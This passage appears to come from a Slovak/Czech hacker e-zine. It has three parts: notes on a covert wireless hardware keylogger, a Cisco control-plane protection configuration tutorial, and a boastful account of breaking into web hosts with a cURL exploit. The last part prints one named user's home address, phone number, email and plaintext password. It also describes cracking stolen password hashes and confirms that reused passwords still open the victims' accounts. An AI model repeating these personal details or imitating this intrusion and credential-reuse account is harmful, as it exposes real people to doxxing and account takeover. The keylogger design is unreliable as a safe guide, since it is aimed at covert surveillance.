Mozeme spravit wireless prisafku. Princip ostane rovnaky, ale pouzijeme chip, so zabudovanym bezdratovym prijmacom/vysielacom, napr. mojho favorita cc1010 [8]. Tato prisafka bude potom chytat data a ukladat do eepromky, a zaroven pocuvat na istej frekvencii. Ked jej pride tajny kluc, prisafka neleni, a ihned radiovo, sifrovane (zase asi len nas 56b DES;( ) vypluje co len budeme chciet. A potom zase cuci ako blcha, a tvari sa ze tam nie je. Druhy modul je pichnuty v usb notebooku, a pekne prijma data. Je ale treba napisat kopu kodu, protokol opravy chyb,… Ale, ked to uz raz budeme mat, otvara sa nam dalsia cesta, a sice vkladanie znakov do pocitaca cez nasu wireless prisafku, akasi vzdialena klavesnica. A to by bol znova skok o stupen dalej. Takto upravena prisafka uz bude pomerne na urovni, a schopna realneho nasadenia.
Mohli by sme prejst z ATMEL na PIC architekturu. Par ludi mi tvrdilo ze je schopnych spravit hw keylogger iba pomocou samotneho mikrokontrolera. (niektore mikrokontrolery nepotrebuju externy krystal, kondenzatory, a ani startovaci kondenzator), miesto externej eepromky by sme pouzili internu eeprom pama:t mikroprocesoru. Ja osobne to zatial schopny spravit nie som, potreboval by som novy programator a prepisat cely kod, ale uzasne by to zjednodusilo celu konstrukciu (z 7 suciastiek 1). Mozno casom;)
Zdroje & dalsie info
Dalsie, a priebezne doplnovane info sa daju najst na https://hysteria.sk/~niekt0/prisafka . Casom snad pribudne aj USB a wireless verzia.
zdroje:
[1] http://www.keelog.com/diy.html
[2] https://hysteria.sk/~niekt0/prisafka/prisafka.asm
[3] https://hysteria.sk/~niekt0/prisafka/schema.jpg
[4] https://hysteria.sk/~niekt0/prisafka/asm51.exe
[5] http://www.hw.cz/Teorie-a-praxe/Konstrukce/ART476-PonyProg—programator-ATMEL-PIC-EEPROM…html
[6] http://www.volny.cz/d72/pa3cz
[7] http://www.irmplc.com/Docs/KeyLoggerWP.pdf
[8] http://www.chipcon.com/index.cfm?kat_id=2&subkat;_id=12&dok;_id=55
[9] https://hysteria.sk/~niekt0/prisafka/pokusna.jpg
[10] https://hysteria.sk/~niekt0/prisafka/kompakt.jpg
niekt0*hysteria*sk
navrat na obsah
co ty na to ? board
Cisco control plane protection
Co nas ale zaujima je prave ochrana procesov, ktore sa vykonavaju na procesore.
CPP je podporovana od nasledujucich verzii IOS-ov, uviedol som sem hlavne vyvojove vetvy a modely:
Cisco 12000 Series Router Release 12.0(29)S Cisco 7600 Series Release 12.2(18)SXD1 Cisco 6500 Series Release 12.2(18)SXD1 Cisco 7200 Series Cisco 7500 Series Release 12.2(18)S Cisco 1751 Router Cisco 2600/2600-XM Series Cisco 3700 Series Cisco 7200 Series Release 12.3(4)T Cisco 1800 Series Cisco 2800 Series Release 12.3(8)T Cisco 3800 Series Release 12.3(11)TPristupime k samotnej konfiguraci CPP, testovaci box: 6500 IOS: 12.2(18)SXF1
Vytvorime si niekolko tried, cez ktore budeme kategorizovat traffic urceny pre dany routing switch.
- copp-bgp: BGP traffic - copp-igp: IGP traffic - copp-management: management traffic - copp-reporting: reporting traffic - copp-monitoring: monitoring traffic - copp acl-critical-app: critical application traffic - copp-layer2: ARP traffic - copp-neziaduci: explicitne zahadzuje dany traffic, moze byt pouzite pre virusyVytvorime si access-listy v ktorych budeme matchovat navrhnute triedy:
BGP komunikacia medzi nasimi peerami.
ip access-list extended copp-bgp remark CoPP BGP traffic class permit tcp host 10.1.1.1 host 10.2.2.2 eq bgp - BGP session permit tcp host 10.2.2.2 eq bgp host 10.1.1.1 permit tcp host 10.3.3.3 host 10.2.2.2 eq bgp permit tcp host 10.2.2.2 eq bgp host 10.3.3.3Vybrali sme si OSPF ako interny protokol, kedze matchovanie CLNS pri ISIS nie je podporovane (zatial).
ip access-list extended copp-igp remark CoPP IGP traffic class permit ospf any host 224.0.0.5 - komunikacia s DR a BDR permit ospf any host 224.0.0.6 permit ospf any anyv tomto access-list pouzivame protokoly sluziace na management, podla poradia: TACACS navratovy traffic, ssh traffic, telnet traffic, SNMP traffic, NTP traffic, FTP traffic, TFTP traffic
ip access-list extended copp-management remark CoPP management traffic class permit tcp host 1.1.1.1 host 10.2.2.2 established permit tcp 10.4.4.0 0.0.0.255 any eq 22 permit tcp 10.4.4.0 0.0.0.255 any eq telnet permit udp host 1.1.1.1 any eq snmp permit udp host 1.1.1.1 any eq ntp permit tcp host 10.2.2.2 eq ftp host 1.1.1.1 permit tcp host 10.2.2.2 eq ftp-data host 1.1.1.1 petmit tcp host 10.2.2.2 eq tftp 1.1.1.1Reporting je tiez dolezita vec, hlavne na meranie SLA. Na reporting pouzijeme SAA ktory bude generovat ICMP pingy s roznymi DSCP bitami v TOS byte, aby sme zistili odozvy pre rozne traffiky. DSCP1 pouzije ICMP s DSCP EF, DSCP2 pouzije AF31, DSCP3 pouzije AF21 a najmenej dolezita trieda DSCP4 pouzije BE. Vytvorime aj access-list, aby sme specifikovali ICMP pingy zo SAA mashiny. Nakoniec pouzijeme match ip dscp v policy-mape.
ip access-list extended copp-reporting remark CoPP reporting traffic class permit icmp host 10.4.4.4 host 10.1.1.1 echoTrieda monitoringu routing switcha:
ip access-list extended copp-monitoring remark CoPP monitoring traffic class permit icmp any any ttl-exceeded permit icmp any any port-unreachable permit icmp any any echo-reply permit icmp any any echoTrieda kritickeho trafficu, ktora je dolezita v danom prostredi, matchujeme HSRP pouzivane na redundanciu a DHCP na pridelovanie adries.
ip access-list extended copp-critical-app remark CoPP critical apps traffic class permit ip any host 224.0.0.2 permit udp host 0.0.0.0 host 255.255.255.255 eq bootps permit udp host 10.4.4.4 eq bootps any eq bootpsACL-ko ktore obsahuje traffic, ktory by mal byt vzdy vynaty z processingu na procesore.
ip access-list extended neziaduci
remark nechceny traffic
… hoc aky virus, traffic …
Dane vytvorene access-listy aplikujeme do tried nasledovne:
class-map match-all coppclass-bgp match access-group name copp-bgp class-map match-all coppclass-igp match access-group name copp-igp class-map match-all coppclass-management match access-group name copp-management class-map match-all coppclass-reporting match access-group name copp-reporting match ip dscp ef af31 af21 default class-map match-all coppclass-monitoring match access-group name copp-monitoring class-map match-all coppclass-critical-app match access-group name copp-critical-app class-map match-all coppclass-layer2 - L2 traffic match protocol arp class-map match-all coppclass-undesirable match access-group name copp-undesirableA teraz si ten presne specifikovany traffic trocha zapocitame/urezeme podla potreby 🙂
policy-map copp-policy class coppclass-bgp police cir 10000000 bc 312500 be 312500 conform-action transmit exceed-action drop -POZOR na tieto parametre, nastavovat s citom.
class coppclass-igp - Neobmedzene class coppclass-management police rate 100 pps conform-action transmit exceed-action transmit class coppclass-reporting police rate 30 pps conform-action transmit exceed-action transmit class coppclass-monitoring police rate 50 pps conform-action transmit exceed-action transmit class coppclass-critical-app police rate 75 pps conform-action transmit exceed-action transmit class coppclass-layer2 police rate 20 pps conform-action transmit exceed-action transmit class coppclass-undesirable police rate 10 pps conform-action drop exceed-action dropPosledny krok je toto vsetko aplikovat na control-plane nasledovne:
lab(config)#control-plane lab(config-cp)service-policy input copp-policyKedze sme pouzili police, mozeme applikovat na input.
Vysledok applikovania si mozeme pozriet :
lab#show policy-map control-plane Control Plane Service-policy input: copp-policy Class-map: coppclass-bgp (match-all) 2342 packets, 182676 bytes 5 minute offered rate 0 bps Match: access-group name coppacl-bgpPri otestovani danej technologie v labe odporucam pouzit tooly ako iperf a hping2, hlavne pri iperfe krasne vidiet ako control-plane posiela nadbytocne pakety na podlahu 🙂......
Na zaver by som upozornil na par buggov/featuriek, ktore sa vyskytli pri testovani a ktore vam mozu zapricinit neprijemnosti:
1, Ako som uz spominal ziadna CLNS podpora na matchovanie do tried.
2, Neakceptuje access-list ktory ma v riadku “log”, musime pouzit duplikatny
access-list bez “log” premien, zjavne je to koli tomu, ze cisco pri log
premennej v access-liste puntuje packety o jednu triedu spracovania nizsie,
v tomto pripade procesor, takze niet uz co policovat cez CPP.
3, match-all v class-grupach pri access-listoch nefunguje, takze pozor na AND
opercie v triedach. V tomto sa ma Cisco co to ucit od Junipera. Vyzera to tak,
ze IOS-XR by v tomto mal byt flexibilnejsi.
4, kazda classa by mala mat police entry inak je ignorovana.
5, IPv6 aj ked nieje zdokumentovana, ale na policnuty traffic sa veselo
vztahuje, takze ked peerujete IPv6 a budu sa vam stracat packety a nebudete
vediet preco, skontrolujte si nastavenia CPP.
Pouzite materialy:
Cisco.com
Lab
iso(at)hysteria[dot]sk
navrat na obsah
co ty na to ? board
Kvalita webhostingu u nas… aneb cURL [klapka] podruhe
INSERT INTO `users` VALUES (16934, 'hacker', 'Milan', 'Starý', 'Karlovy Vary', 'Majakovského 10', '36005', '777586191', 'emerika@centrum.cz', 0, 'ok', 'normal', 1115565668, 'emerika');
Vidime ze domena je “hacker” a tento tajny hacker je “Milan Starý”, Karlovy Vary, Majakovskeho 10, zanechal nam i telefoni cislo “777586191” i email “emerika@centrum.cz” a nasledne to nejdulezitejsi heslo “emerika”. Jenze ted si asi reknete co s databazi v ktere jsou hesla, ktere uz jsou davno zmenene ?
Neni tomu tak… Rekl jsem si, ze bych mohl skusit, jestli si heslo zmenil do puvod stavu a zaroven jestli pouziva stejne “super” heslo i na mailu etc. Funguje zase vsude. Vidime, ze je to urcite skuseny hacker. No i kdyz jsem to nezkousel tak odhaduju ze 9 lidi z 10 si zmeni to heslo nove vygenerovane na to jejich stare. Databaze obsahuje 18 854 useru.
Tedka se vrhnem na neco vetsiho, myslim si ze hacknout placeny hosting, ktery je celkem dost znamy, je pekny ulovek !
Placeny hosting hack…
Zase nadesel cas pro novy cURL exploit a tak jelikoz jsme meli pristup k jenomu kontu na onom hostingu, tak jsme jej taky zkusili. Exploit behal skvele a tak i databaze tohoto hostingu se nam zjevila. Tato databaze byla o neco chudsi nez predesla ale i tak pekne. Obsahuje jen 3 informace ktere jsou domena, heslo (uz v hashi), a delka hesla. No databaze byla na svete, ale co s heslama v hashi ? Museli jsme najit patricny louskac hesel. Cracker se skompilil a prvni test bylo 7dmi mistne heslo. Nez jsem napocital do 5ti tak bylo heslo na svete. 8mi mistne heslo trvalo uz malinko dyl ale nejvetsi pocet tam byl aj tak 7 dmi mistnych. Tento hosting BUG fixnul za 14 dni od hacku, ale hesla v klidu nemenil, takze vsecky funguji stale. Z bezpec. duvodu jsem meno hostingu neuvadel, ani vypis z databaze. Databaze obsahuje 44 484 useru.
Chyby byla opravena na CVS, ale autori cURLu nebyli schopni priznat dalsi trapny bug, aby neztratily vernost useru.
khu @ dev . null
navrat na obsah
co ty na to ? board